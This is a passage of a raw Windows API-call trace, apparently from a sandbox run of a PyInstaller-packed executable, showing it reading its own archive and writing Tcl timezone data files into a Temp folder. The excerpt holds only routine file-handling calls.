lpSystemTime=0x4f8ce0) returned 1 [0040.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.204] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.204] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.204] CloseHandle (hObject=0x10c) returned 1 [0040.204] GetLastError () returned 0x0 [0040.204] SetLastError (dwErrCode=0x0) [0040.204] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.205] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.205] GetFileType (hFile=0x10c) returned 0x1 [0040.205] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.205] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.205] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.205] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.205] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.205] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.205] CloseHandle (hObject=0x10c) returned 1 [0040.205] GetLastError () returned 0x0 [0040.205] SetLastError (dwErrCode=0x0) [0040.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kabul") returned 67 [0040.205] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kabul" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\kabul"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.205] GetLastError () returned 0x2 [0040.205] SetLastError (dwErrCode=0x2) [0040.205] GetLastError () returned 0x2 [0040.205] SetLastError (dwErrCode=0x2) [0040.205] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kabul", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kabul", lpFilePart=0x0) returned 0x42 [0040.205] GetLastError () returned 0x2 [0040.205] SetLastError (dwErrCode=0x2) [0040.205] GetLastError () returned 0x2 [0040.205] SetLastError (dwErrCode=0x2) [0040.205] GetLastError () returned 0x2 [0040.205] SetLastError (dwErrCode=0x2) [0040.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kabul") returned 67 [0040.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.206] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kabul" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\kabul"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.209] GetFileType (hFile=0x10c) returned 0x1 [0040.209] htonl (hostlong=0xab000000) returned 0xab [0040.209] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.209] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xab, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xab, lpOverlapped=0x0) returned 1 [0040.210] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.210] CloseHandle (hObject=0x10c) returned 1 [0040.210] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.210] htonl (hostlong=0x30000000) returned 0x30 [0040.210] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.210] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.210] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.210] GetFileType (hFile=0x10c) returned 0x1 [0040.210] htonl (hostlong=0xe7ee5a00) returned 0x5aeee7 [0040.210] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f9ee7, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.211] htonl (hostlong=0x1f020000) returned 0x21f [0040.211] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x21f) returned 0x550600 [0040.211] htonl (hostlong=0x1f020000) returned 0x21f [0040.211] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.211] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.211] htonl (hostlong=0x31080000) returned 0x831 [0040.211] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x831) returned 0x55e278 [0040.211] htonl (hostlong=0x1f020000) returned 0x21f [0040.211] htonl (hostlong=0x31080000) returned 0x831 [0040.211] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.211] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.211] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.211] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.211] CloseHandle (hObject=0x10c) returned 1 [0040.211] GetLastError () returned 0x0 [0040.211] SetLastError (dwErrCode=0x0) [0040.211] GetLastError () returned 0x0 [0040.211] SetLastError (dwErrCode=0x0) [0040.211] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.211] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.211] GetFileType (hFile=0x10c) returned 0x1 [0040.211] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.211] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.211] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.211] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.211] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.212] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.212] CloseHandle (hObject=0x10c) returned 1 [0040.212] GetLastError () returned 0x0 [0040.212] SetLastError (dwErrCode=0x0) [0040.212] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.212] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.212] GetFileType (hFile=0x10c) returned 0x1 [0040.212] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.212] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.212] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.212] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.212] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.212] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.212] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.212] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.212] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.212] CloseHandle (hObject=0x10c) returned 1 [0040.212] GetLastError () returned 0x0 [0040.212] SetLastError (dwErrCode=0x0) [0040.212] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.212] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.212] GetFileType (hFile=0x10c) returned 0x1 [0040.212] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.213] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.213] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.213] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.213] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.213] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.213] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.213] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.213] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.213] CloseHandle (hObject=0x10c) returned 1 [0040.213] GetLastError () returned 0x0 [0040.213] SetLastError (dwErrCode=0x0) [0040.213] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kamchatka") returned 71 [0040.213] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kamchatka" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\kamchatka"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.213] GetLastError () returned 0x2 [0040.213] SetLastError (dwErrCode=0x2) [0040.213] GetLastError () returned 0x2 [0040.213] SetLastError (dwErrCode=0x2) [0040.213] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kamchatka", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kamchatka", lpFilePart=0x0) returned 0x46 [0040.213] GetLastError () returned 0x2 [0040.213] SetLastError (dwErrCode=0x2) [0040.213] GetLastError () returned 0x2 [0040.213] SetLastError (dwErrCode=0x2) [0040.213] GetLastError () returned 0x2 [0040.213] SetLastError (dwErrCode=0x2) [0040.213] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kamchatka") returned 71 [0040.213] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.213] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kamchatka" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\kamchatka"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.214] GetFileType (hFile=0x10c) returned 0x1 [0040.214] htonl (hostlong=0x31080000) returned 0x831 [0040.214] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.214] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x831, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x831, lpOverlapped=0x0) returned 1 [0040.215] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.215] CloseHandle (hObject=0x10c) returned 1 [0040.215] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.215] htonl (hostlong=0x30000000) returned 0x30 [0040.215] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.215] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.215] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.215] GetFileType (hFile=0x10c) returned 0x1 [0040.215] htonl (hostlong=0x6f15a00) returned 0x5af106 [0040.215] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fa106, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.215] htonl (hostlong=0xe7000000) returned 0xe7 [0040.215] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe7) returned 0x550600 [0040.215] htonl (hostlong=0xe7000000) returned 0xe7 [0040.215] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.215] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.215] htonl (hostlong=0xb4010000) returned 0x1b4 [0040.215] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1b4) returned 0x5506f0 [0040.215] htonl (hostlong=0xe7000000) returned 0xe7 [0040.215] htonl (hostlong=0xb4010000) returned 0x1b4 [0040.216] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.216] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.216] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.216] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.216] CloseHandle (hObject=0x10c) returned 1 [0040.216] GetLastError () returned 0x0 [0040.216] SetLastError (dwErrCode=0x0) [0040.216] GetLastError () returned 0x0 [0040.216] SetLastError (dwErrCode=0x0) [0040.216] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.217] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.217] GetFileType (hFile=0x10c) returned 0x1 [0040.217] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.217] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.217] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.217] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.217] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.217] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.217] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.217] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.217] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.217] CloseHandle (hObject=0x10c) returned 1 [0040.217] GetLastError () returned 0x0 [0040.217] SetLastError (dwErrCode=0x0) [0040.217] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.217] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.217] GetFileType (hFile=0x10c) returned 0x1 [0040.217] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.217] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.217] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.217] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.217] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.217] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.217] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.217] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.218] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.218] CloseHandle (hObject=0x10c) returned 1 [0040.218] GetLastError () returned 0x0 [0040.218] SetLastError (dwErrCode=0x0) [0040.218] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.218] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, 